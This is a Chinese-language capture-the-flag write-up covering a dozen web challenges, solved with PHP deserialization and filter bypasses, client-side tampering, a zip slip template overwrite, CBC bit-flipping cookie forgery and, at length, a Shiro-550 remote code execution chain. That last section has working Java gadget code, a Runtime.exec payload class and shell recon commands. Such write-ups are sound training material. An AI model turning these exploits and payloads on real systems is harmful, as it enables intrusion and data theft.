Web


php反序列

登录界面泄露账号和密码,登录进去得到源码:

<?php
session_start();
error_reporting(0);

if (empty($_SESSION['logged_in'])) {
    header('Location: index.php');
    exit;
}

include __DIR__ . '/flag.php';

class AuditTicket
{
    public $role = 'guest';

    public function __destruct()
    {
        global $flag;

        if ($this->role === 'admin') {
            echo '<h3 style="color:green">反序列化成功!</h3>';
            echo '<p>' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '</p>';
        }
    }
}

$message = '';
$object = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $payload = $_POST['payload'] ?? '';

    if ($payload === '') {
        $message = 'payload 不能为空';
    } else {
        $object = unserialize($payload);

        if ($object instanceof AuditTicket) {
            $message = '对象恢复成功';
        } else {
            $message = '反序列化失败';
        }
    }
}

highlight_file(__FILE__);
?>

直接赋值即可:

<?php

class AuditTicket
{
    public $role = 'guest';

    public function __destruct()
    {
        global $flag;

        if ($this->role === 'admin') {
            echo '<h3 style="color:green">反序列化成功!</h3>';
            echo '<p>' . htmlspecialchars($flag, ENT_QUOTES, 'UTF-8') . '</p>';
        }
    }
}

$a = new AuditTicket();
$a->role = 'admin';
echo urlencode(serialize($a));

得到:

O%3A11%3A%22AuditTicket%22%3A1%3A%7Bs%3A4%3A%22role%22%3Bs%3A5%3A%22admin%22%3B%7D

拿到 flag:flag{37083fb4f493fe2def8c161c012e8b70}

​

贪吃蛇

分析 js 源码:

function submitScore(finalScoreValue) {
    fetch('api.php', {
        method: 'POST',
        headers: {'Content-Type': 'application/json'},
        body: JSON.stringify({score: finalScoreValue})
    })

分数可以直接控制,在控制台执行:

fetch('api.php', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        score: 999999
    })
})
.then(r => r.text())
.then(console.log)

拿到 flag:flag{9f5d6c03bd89fa8262a2872234e84800}

​

迷宫

看见是游戏,分析源码:

let maze, w, h, px, py, steps, maxSteps, active = false, moving = false;

这里可以看到 steps 变量,从后续代码可以得知它全程都是存储在浏览器里面,我们可以自行修改

if (px === w - 1 && py === h - 1) {
  active = false;
  document.getElementById('claim').disabled = false;  // 只是解锁按钮

这个到达出口只是一个解锁按钮,我们完全可以自己调用 /api/flag 接口

const d = await r.json();
if (d.valid) {
  px = d.x; py = d.y; steps++;   // ← 计数只发生在本地
  ...
}

/api/move 接口只判断这次移动和不合规,不管步数

最后看核心如何拿到flag,这种也一般是题目的重点:

const r = await fetch('/api/flag', {
  method: 'POST',
  body: JSON.stringify({ steps: steps }),   // ← 把本地数的步数原样交给服务端
});

这里直接拿本地的 steps 和 max_steps 做比较,而存在校验的 session 没有存储 steps 变量,这只是一个可以随便篡改的数字

全部的地图也直接发送到前端,可以直接本地 BFS 去得到最短路径,随后直接去调用 /api/move 接口

最终脚本:

#!/usr/bin/env python3

import json

import sys

import urllib.request

import urllib.error

from collections import deque

from http.cookiejar import CookieJar

BASE = "http://de4bc851-0f80-4682-88ed-3cab6f0e237f.game.polarctf.com:8090"

# 方向 -> (dx, dy)

DIRS = {"N": (0, -1), "S": (0, 1), "W": (-1, 0), "E": (1, 0)}

def req(opener, path, data=None):

"""带 cookie 的 GET/POST,返回 JSON。"""

r = urllib.request.Request(BASE + path)

body = None

if data is not None:

body = json.dumps(data).encode()

r.add_header("Content-Type", "application/json")

try:

with opener.open(r, body, timeout=30) as resp:

return json.loads(resp.read().decode())

except urllib.error.HTTPError as e:

print(f"[!] {path} -> HTTP {e.code}: {e.read().decode()[:200]}")

sys.exit(1)

def bfs_shortest_path(maze, w, h, start, end):

"""BFS 求起点到终点的最短路径,返回方向序列(如 'ESWW...')。"""

sx, sy = start

ex, ey = end

prev = {(sx, sy): None}

q = deque([(sx, sy)])

while q:

x, y = q.popleft()

if (x, y) == (ex, ey):

break

for d, (dx, dy) in DIRS.items():

if maze[y][x][d]: # 该方向有墙,走不通

continue

nx, ny = x + dx, y + dy

if 0 <= nx < w and 0 <= ny < h and (nx, ny) not in prev:

prev[(nx, ny)] = ((x, y), d)

q.append((nx, ny))

if (ex, ey) not in prev:

raise RuntimeError("迷宫无解?BFS 没找到出口")

path = []

cur = (ex, ey)

while prev[cur]:

p, d = prev[cur]

path.append(d)

cur = p

path.reverse()

return path

def main():

cj = CookieJar()

opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

# 1. 取迷宫全图

m = req(opener, "/api/maze")

maze, w, h = m["maze"], m["width"], m["height"]

start, end = m["start"], m["end"]

max_steps = m["maxSteps"]

print(f"[*] 迷宫 {w}x{h} 起点{start} 终点{end} 步数上限 {max_steps}")

# 2. 本地 BFS 求最短路

path = bfs_shortest_path(maze, w, h, start, end)

print(f"[*] 最短路 {len(path)} 步: {''.join(path)}")

# 3. 逐步移动(服务端不限步数,只记位置)

for i, d in enumerate(path):

r = req(opener, "/api/move", {"direction": d})

if not r.get("valid"):

print(f"[!] 第 {i} 步 {d} 被拒绝: {r}")

sys.exit(1)

state = req(opener, "/api/state")

print(f"[*] 已到达出口,服务端坐标 {state.get('position', '?')}")

# 4. 领 flag:真实步数若超限,就申报 maxSteps(服务端只信客户端报的数)

claim = min(len(path), max_steps)

r = req(opener, "/api/flag", {"steps": claim})

if r.get("success"):

print(f"[+] 申报步数 {claim} -> 拿到 FLAG: {r['flag']}")

else:

print(f"[-] 失败: {r}")

if __name__ == "__main__":

main()


打地鼠

一直敲,发现分数没有什么异常直接突破了100

比较100前和100后发现多了个 http 标头:

X-Flag-Key: cafebabe2024secret

然后凭借猜得出参数名称为 flag_key,传参拿到 flag:

index.php?flag_key=cafebabe2024secret

flag{91d33ff99f483979917c364c73af228a}

​

guess

查看 /status 接口:

archive_root=/app/uploads/themes/<id>
renderer=/app/templates/memo.html
allowed=.txt,.css,.html
required=manifest.txt

再看 /memo 接口:

核心变量已进入渲染上下文,但默认模板不会展示。

这里我的理解是,后端大概率是已经引入了这个变量,只是没有把它输出而已

我们的目标就是达到 {{flag}} 这样来让 flag 渲染出来

这里从上面可以得知,渲染文件是 /app/templates/memo.html

这里我们上传文件所存的文件夹不在 /app/templates,使用 zip slip 路径穿透即可

这里尝试的过程中把必要文件放入即可

最终脚本:

import zipfile

payload = '''<pre>
flag={{ flag }}
FLAG={{ FLAG }}
flag_text={{ flag_text }}
secret={{ secret }}
config={{ config }}
request={{ request.url }}
</pre>
ZIPSUCCESS-MARKER'''

paths = [
    '../templates/memo.html',
    '../../templates/memo.html',
    '../../../templates/memo.html',   # 命中:/app/uploads/themes/<id> -> /app/templates/
    '../../../../templates/memo.html',
]

with zipfile.ZipFile('slip1.zip', 'w') as z:
    z.writestr('manifest.txt', 'name=x\n')   # 满足必需文件检查
    for p in paths:
        z.writestr(p, payload)               # 路径穿越,后缀 .html 满足白名单

上传后访问 /memo,成功渲染出 flag:flag{20a95535-9061-479b-9cf6-aefce25a1a92}


cryweb

题目首页提示:

通行证是加密的,不是签名的。

游客身份字段长度和管理员身份字段长度一样。

自己领了个身份:

Array
(
    [uid] => 1001
    [name] => ctfer
    [role] => guest
    [level] => 1
)
uid=1001&name=ctfer&role=guest&level=1

这里涉及到 CBC 位翻转攻击:

逻辑如下:

CBC(密码分组链接)加密时,每一块明文先和上一块密文异或,再加密:

加密:C[i] = E(P[i] XOR C[i-1])        (C[-1] 就是 IV)
解密:P[i] = D(C[i]) XOR C[i-1]

关键在解密这一行:**明文块是“解密结果”和“前一块密文”的异或**。解密结果是黑盒动不了,但前一块密文 C[i-1] 是我能随便改的。异或的性质是 `a XOR b XOR b = a`,所以:

我改 C[i-1] 的第 j 个字节,改了多少,P[i] 的第 j 个字节就同步变多少

想让 P[i] 的某字节从 `g` 变成 `a`?把 C[i-1] 对应字节异或上 `g XOR a` 就行,完全不需要知道密钥。**代价**是:C[i-1] 被改动后,它自己解出来的 P[i-1] 也变了——变成 `D(C[i-1]) XOR C[i-2]`,其中 D(C[i-1]) 已经换了个人,异或出来就是不可预测的乱码。

这是位翻转攻击的核心权衡:

|改谁|能控制哪块明文|副作用|
|---|---|---|
|IV|P[0]|**无**(IV 不参与任何块的解密输出,只当种子)|
|C[i-1] (i≥1)|P[i]|P[i-1] 变乱码|

最终脚本:

# -*- coding: utf-8 -*-
import urllib.request
import urllib.parse
import base64
import re

BASE = 'http://62454c50-ee1b-4abf-b241-45a2de5c6475.game.polarctf.com:8090'


def login(name):
    data = urllib.parse.urlencode({'name': name}).encode()
    req = urllib.request.Request(BASE + '/login.php', data=data)
    resp = urllib.request.urlopen(req, timeout=30)
    cookie = resp.headers.get('Set-Cookie')
    return re.search(r'ticket=([^;]+)', cookie).group(1)


def get(path, ticket):
    req = urllib.request.Request(BASE + path)
    req.add_header('Cookie', 'ticket=' + ticket)
    return urllib.request.urlopen(req, timeout=30).read().decode('utf-8', 'replace')


def b64u(raw):
    return base64.urlsafe_b64encode(raw).decode().rstrip('=')


def forge_p0(ticket, known_p0, target_p0):
    raw = base64.urlsafe_b64decode(ticket + '=' * (-len(ticket) % 4))
    iv = bytearray(raw[:16])
    for i in range(16):
        iv[i] ^= known_p0[i] ^ target_p0[i]
    return b64u(bytes(iv) + raw[16:])


t = login('A')
KNOWN = b'uid=1001&name=A&r'
TARGET = b'role=admin&name='
forged = forge_p0(t, KNOWN, TARGET)
print('forged ticket:', forged)
print()

html = get('/admin.php', forged)
print(html)

flag:flag{d58c6cbe-cb3f-4823-9c52-2acf06c1932b}


打赏

看源码,发现注释:

QD2AHXMGSJMMG2NM

rev + base32 得到:ctf123.php

访问该路径,得到源码:

<?php  
highlight_file(__FILE__);  
error_reporting(0);  
include __DIR__ . '/flag.php';  
  
echo "<h2>Welcome</h2>";  
  
function stop($msg) {  
    die(htmlspecialchars($msg, ENT_QUOTES, 'UTF-8') . "<br/>\n");  
} $role = $_COOKIE['role'] ?? 'guest';  
  
if ($role !== 'auditor') {    stop('第一关:你还不是 auditor');  
}  
  
echo "第一关通过<br/>\n";  
  
$route = $_GET['route'] ?? '';  
  
if (preg_match('/admin/i', $route)) {    stop('第二关:检测到敏感路由 admin');  
}  
  
$route = urldecode($route);  
  
if ($route !== 'admin/panel') {    stop('第二关:没有进入管理路由');  
}  
  
echo "第二关通过<br/>\n";  
echo "恭喜通关!<br/>\n";  
echo htmlspecialchars($flag, ENT_QUOTES, 'UTF-8');  
?>

这里绕过直接用编码后的 admin 绕过即可:

payload:

GET /?route=%2561dmin/panel HTTP/1.1
Cookie: role=auditor

拿到 flag:flag{1cbb3b88acb636433aa7b402b9096481}

​

MiniSite

<?php  
// TODO: 上线前删掉这行 —— /sssseeeeccccrrrrreeeetttt 别忘了清理  
  
class FileGuard  
{  
    public static function checkFile(&$page)  
    {        $whitelist = ["home.php", "about.php", "source.php"];  
  
        if (!isset($page) || !is_string($page)) {  
            echo "you can't see it";  
            return false;  
        }  
        if (in_array($page, $whitelist, true)) {  
            return true;  
        }        $_page = substr(            $page,            0,            strpos($page . '#', '#')  
        );  
        if (in_array($_page, $whitelist, true)) {  
            return true;  
        }        $_page = rawurldecode($page);        $_page = substr(            $_page,            0,            strpos($_page . '#', '#')  
        );  
        if (in_array($_page, $whitelist, true)) {  
            return true;  
        }  
  
        echo "you can't see it";  
        return false;  
    }  
}  
  
if (!empty($_REQUEST['f'])  
    && is_string($_REQUEST['f'])  
    && FileGuard::checkFile($_REQUEST['f'])  
) {  
    include $_REQUEST['f'];  
    exit;  
}  
?>

这里会先提取 # 前面的内容,若是没有则在末尾加上 #

但是我们 include 文件后文件还是会被正常的包含进来,rawurldecode 进一步提示了要对 # 进行编码

payload:

?f=home.php%23/../../../../sssseeeeccccrrrrreeeetttt

拿到 flag:flag{738d13e76707424bf9857eeba0f2baf5}

​

魔法导入器

源码:

<?php  
class FileViewer  
{  
    public $path;  
  
    public function __toString()  
    {  
        if ($this->path && file_exists($this->path)) {  
            return file_get_contents($this->path);  
        }  
        return "[文件未找到]";  
    }  
}  
  
class Welcome  
{  
    public $user;  
  
    public function __destruct()  
    {  
        echo "<div class='bye-msg'>再见," . $this->user . "!</div>";  
    }  
}  
  
class Profile  
{  
    public $name;  
    public $bio;  
  
    public function __wakeup()  
    {  
        if (strlen($this->name) > 30) {            $this->name = substr($this->name, 0, 30);  
        }  
        if (strlen($this->bio) > 200) {            $this->bio = substr($this->bio, 0, 200);  
        }  
    }  
}  
  
function validate_serialized($data)  
{    $rules = [        '/s:\d+:"[^"]*flag[^"]*"/' => '拦截:检测到 flag 路径 (s:string)',        '/O:\d+:"(?!Welcome|Profile|FileViewer)[^"]+"/' => '拦截:不允许的类',  
    ];  
    foreach ($rules as $pattern => $msg) {  
        if (preg_match($pattern, $data)) {  
            return [false, $msg];  
        }  
    }  
    return [true, '验证通过'];  
}  
  
// Source code view  
if (isset($_GET['source'])) {    highlight_file(__FILE__);  
    exit;  
}  
  
// Logic  
$result = '';  
$error = '';  
$destruct_output = '';  
  
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {    $raw = trim($_POST['data']);  
  
    list($ok, $msg) = validate_serialized($raw);  
    if (!$ok) {        $error = $msg;  
    } else {        $obj = @unserialize($raw);  
        if ($obj === false && $raw !== 'b:0;') {            $error = '反序列化失败:格式无效';  
        } else {            $result = '导入成功!对象类型:' . get_class($obj);            // Force __destruct() NOW so output is visible on page            ob_start();            $obj = null;            $destruct_output = ob_get_clean();  
        }  
    }  
}  
  
$demo = new Profile();  
$demo->name = 'Alice';  
$demo->bio = 'CTF Player';  
$export = serialize($demo);  
?>

这里我们终点是 FileViewer 类中的 __toString() 魔术方法,而可以通过 __destruct() 来 echo 出发该方法

这里利用的是 S 大写类型支持 16 进制转义的特性

最终 payload:

O:7:"Welcome":1:{s:4:"user";O:10:"FileViewer":1:{s:4:"path";S:5:"/\66lag";}}

拿到 flag:flag{c77f5eb4d7d525855522d7ac65c5487d}

​

预言三问

第一关计算得到 78,加上 cookie 得到下一关:

下一关改发送方式为 post,发送 priestess=prophet

再加上参数 ?admin=1

拿到 flag:flag{2efc9ac3-df6f-4f2a-8bb5-ab3ead0a2684}

​

消消乐

首先查看网页源代码,在 HTML 中发现了一个隐藏的 div:

<div id="app-meta" data-v="0731626d648f81d06d6ce180ba733b9b0f" hidden></div>

这里的 data-v 属性值得关注,因为后续 JavaScript 会直接读取它

继续分析 JavaScript,可以发现 loadConfig() 会读取 data-v:

function loadConfig() {
    var raw = cfg.dataset.v;
    slotMax = parseInt(raw.substr(0, 2), 16);
    if (isNaN(slotMax)) slotMax = 7;
    slotLimitEl.textContent = slotMax;
}

这里首先取出 data-v 的前两位,并按照十六进制进行转换

题目中的 data-v 为:

0731626d648f81d06d6ce180ba733b9b0f

前两位 07 转换成十进制后得到 7,因此这两位实际上是用来控制游戏槽位上限的,并不是 flag 的内容

接下来寻找 flag 的生成位置,可以发现 tryReward() 函数:

function tryReward() {
    if (gotReward) return;
    gotReward = true;

    var hex = cfg.dataset.v.substr(2);
    var key = 0x37;
    var bytes = [];

    for (var i = 0; i < hex.length; i += 2) {
        bytes.push(parseInt(hex.substr(i, 2), 16) ^ key);
    }

    var hash = '';
    bytes.forEach(function(b) {
        hash += ('0' + b.toString(16)).slice(-2);
    });

    var result = String.fromCharCode(102,108,97,103,123) + hash + String.fromCharCode(125);

    rewardPanel.style.display = 'block';
    rewardPanel.innerHTML = '🏆 通关奖励!<br>' + result;
}

可以看到,程序首先执行:

var hex = cfg.dataset.v.substr(2);

也就是去掉 data-v 前两位

剩余数据为:

31626d648f81d06d6ce180ba733b9b0f

随后程序每两个十六进制字符取一个字节,并与 0x37 进行 XOR 运算:

parseInt(hex.substr(i, 2), 16) ^ 0x37

例如前几组数据:

31 ^ 37 = 06
62 ^ 37 = 55
6d ^ 37 = 5a
64 ^ 37 = 53

继续计算全部数据,得到:

06555a53b8b6e75a5bd6b78d440cac38

之后程序使用:

String.fromCharCode(102,108,97,103,123)

生成:

flag{

最后使用:

String.fromCharCode(125)

生成:

}

得到完整的 flag:flag{06555a53b8b6e75a5bd6b78d440cac38}

​

安全笔记

访问首页是一个「安全笔记」应用,页面源码里有几个值得注意的点:

  1. 登录表单带 rememberMe(记住此浏览器)复选框——典型的 Shiro 框架特征,RememberMe Cookie 反序列化是最常见的利用入口;
  2. 页面注释遗留了 <!-- TODO remove debug endpoint -->,指向一个调试接口;
  3. 前端脚本暴露了 API 路径:/api/user/login、/api/notes、/api/debug/env

用默认口令 admin/admin123 直接登录成功,响应中下发了 rememberMe Cookie,确认目标使用 Shiro 的 RememberMeManager:

Set-Cookie: rememberMe=WahfuhNOuPDAMy12lRPiAcaNBK3G/SDYl0xqLAPl2wGY2puDqmq...; Path=/; Max-Age=604800

/api/debug/env 默认返回基础信息,提示支持 action=help,逐个探测:

GET /api/debug/env?action=help  
→ actions: [basic, health, full],export_root: /tmp/securenotes/public,export_url: /<filename>  
​  
GET /api/debug/env?action=full  
→ {  
    "shiro_version": "1.7.1",  
    "jdk_version": "1.8.0_492",  
    "shiro_cipher_key": "kPH+bIxk5D2deZiIxcaaaA==",  
    "rememberme_cookie": "rememberMe",  
    "gadget_hint": "commons-collections4",  
    ...  
  }

至此 Shiro-550 的全部要素齐备:反序列化入口是 rememberMe Cookie;AES 密钥为经典默认密钥 kPH+bIxk5D2deZiIxcaaaA==;目标 Shiro 1.7.1(≥ 1.4.2,加密方式为 AES-GCM);JDK 8u492;gadget 依赖 commons-collections4-4.0;结果回传通道是 /tmp/securenotes/public 目录,会映射为 /<文件名> 静态访问。

commons-collections4 与 3.x 的关键差别是 TransformingComparator 在 4.x 中实现了 Serializable,因此选用 CommonsCollections2(CC2)链:

PriorityQueue.readObject()  
  → TransformingComparator.compare()  
    → InvokerTransformer("newTransformer").transform()  
      → TemplatesImpl.newTransformer()  
        → defineClass(恶意类) → newInstance() → static { Runtime.exec(...) }

链上除 TemplatesImpl 外的类全部来自 commons-collections4-4.0,与目标依赖完全一致。

本地只有 Java 25,但目标链路各环节的序列化兼容性都能解决:

  • TemplatesImpl 的 serialVersionUID 是显式声明的 673094361519270707(javap 确认),跨 JDK 版本稳定,本地 Java 25 生成的流可以被目标 JDK 8 反序列化;
  • 流中多出的字段(如 _indentNumber)会被目标端静默丢弃,缺失字段走 readObject 默认值,均不影响;
  • _tfactory 是 transient 字段,目标端 readObject 会自行 new TransformerFactoryImpl(),无需(也无法)写入流;
  • 恶意类字节码必须 ≤ class version 52,用 javac --release 8 编译;
  • com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 在本地 JDK 中不导出,用一个同全限定名的假 stub 编译即可——class 文件里只记录父类名字符串,运行时在目标端解析到真类。

假 stub 仅编译期使用:

package com.sun.org.apache.xalan.internal.xsltc.runtime;  
public abstract class AbstractTranslet { }

恶意类模板(inject.py 把命令烘进静态块):

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

public class Pwn extends AbstractTranslet {  
    static {  
        try {  
            String[] cmd = new String[]{"/bin/sh", "-c", "__CMD__"};  
            Runtime.getRuntime().exec(cmd);  
        } catch (Throwable t) { }  
    }  
    public Pwn() { }  
}

链构造 + Shiro 加密(Gen.java 核心):

byte[] cls = Files.readAllBytes(Paths.get(args[0]));   // Pwn.class  
​  
Class<?> tc = Class.forName("...TemplatesImpl");  
Object templates = tc.getDeclaredConstructor().newInstance();  
setField(tc, templates, "_bytecodes", new byte[][]{cls});  
setField(tc, templates, "_name", "Pwn");  
​  
// 先用无害 transformer 让 PriorityQueue 完成本地插入  
InvokerTransformer<Object,Object> innocent = new InvokerTransformer<>("toString", new Class[0], new Object[0]);  
TransformingComparator<Object,Object> comp = new TransformingComparator<>(innocent);  
PriorityQueue<Object> q = new PriorityQueue<>(2, comp);  
q.add(templates);  
q.add(templates);  
​  
// 序列化前把 transformer 换成触发器  
Field tf = TransformingComparator.class.getDeclaredField("transformer");  
tf.setAccessible(true);  
tf.set(comp, new InvokerTransformer<>("newTransformer", new Class[0], new Object[0]));  
​  
ByteArrayOutputStream bos = new ByteArrayOutputStream();  
new ObjectOutputStream(bos).writeObject(q);  
byte[] ser = bos.toByteArray();  
​  
// Shiro 加密:base64( randomIV(16) || ciphertext )  
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");  
byte[] iv  = new byte[16];  
new SecureRandom().nextBytes(iv);  
Cipher c = Cipher.getInstance("AES/GCM/NoPadding");          // Shiro >= 1.4.2 用 GCM  
c.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(key, "AES"), new GCMParameterSpec(128, iv));  
byte[] ct = c.doFinal(ser);  
// out = iv || ct → Base64 → Cookie: rememberMe=<b64>

发送:curl -H "Cookie: rememberMe=<base64 payload>" http://<host>:8090/。

第一发 payload 做侦察:

{ id; ls -la /; env; find / -maxdepth 4 -iname '*flag*'; } \  
  > /tmp/securenotes/public/o.txt 2>&1; chmod 666 /tmp/securenotes/public/o.txt

GET /o.txt 返回(节选):

uid=0(root) gid=0(root) groups=0(root)  
-r--r--r--   1 root root   43 Sep  6 06:18 flag  
-rw-rw-rw-   1 root root   39 Jul 24 14:34 flag.template  
SECRET_KEY=kPH+bIxk5D2deZiIxcaaaA==  
FLAG=flag{63b467b1-1d60-4f3e-9382-e6d9fcbfe95b}

第二发 payload 确认文件内容:

cat /flag > /tmp/securenotes/public/f.txt 2>&1; chmod 666 /tmp/securenotes/public/f.txt

GET /f.txt:

flag{63b467b1-1d60-4f3e-9382-e6d9fcbfe95b}